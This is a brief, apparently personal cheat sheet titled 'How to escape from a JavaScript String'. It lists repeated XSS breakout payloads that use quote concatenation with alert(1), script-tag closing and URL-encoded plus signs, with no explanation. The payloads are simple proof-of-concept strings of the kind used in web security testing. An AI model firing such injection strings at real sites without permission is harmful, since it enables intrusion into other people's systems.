How to escape from a JavaScript String
' + alert(1) + '\' + alert(1) + \'</script><script>alert()</script>//\'+%2b+alert(1)//,\'-alert(1)//- Playing with url & html encoded
' " <> \
' + alert(1) + '\' + alert(1) + \'</script><script>alert()</script>//\'+%2b+alert(1)// , \'-alert(1)//' " <> \